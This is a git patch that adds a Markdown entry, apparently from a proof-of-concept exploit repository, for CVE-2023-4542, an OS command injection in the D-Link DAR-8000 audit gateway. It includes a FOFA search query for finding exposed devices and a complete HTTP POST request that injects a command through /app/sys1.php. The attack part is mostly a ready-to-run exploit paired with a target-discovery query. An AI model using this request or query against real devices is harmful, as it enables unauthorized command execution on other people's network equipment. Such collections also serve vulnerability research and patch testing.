From 93fbf4a11ca9b018ce8883c566c26af4e69ca533 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 15 Mar 2024 13:58:32 +0800 Subject: [PATCH] =?UTF-8?q?Create=20D-Link=5FDAR-8000=E6=93=8D=E4=BD=9C?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E5=91=BD=E4=BB=A4=E6=B3=A8=E5=85=A5=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E(CVE-2023-4542).md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...8000操作系统命令注入漏洞(CVE-2023-4542).md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md diff --git a/D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md b/D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md new file mode 100644 index 0000000..98100fe --- /dev/null +++ b/D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md @@ -0,0 +1,34 @@ +## D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542) + +D-Link DAR-8000是中国友讯(D-Link)公司的上网行为审计网关。 + +D-Link DAR-8000-10版本存在操作系统命令注入漏洞,该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。 + +![c28cb815357f9d7746051855c037606e](https://github.com/wy876/POC/assets/139549762/ce09a764-517f-449d-8296-97a315b590ba) + +## fofa +``` +body="DAR-8000-10" && title="D-Link" +``` + +## poc +``` +POST /app/sys1.php HTTP/1.1 +Host: 127.0.0.1 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: none +Sec-Fetch-User: ?1 +Te: trailers +Connection: close +Content-Type: application/x-www-form-urlencoded +Content-Length: 6 + +cmd=id +``` +![532f25d46e25fe6fb6ceff1b97beb88f](https://github.com/wy876/POC/assets/139549762/4ac6df4e-d49c-43ee-83f2-e49ce8f7db3b)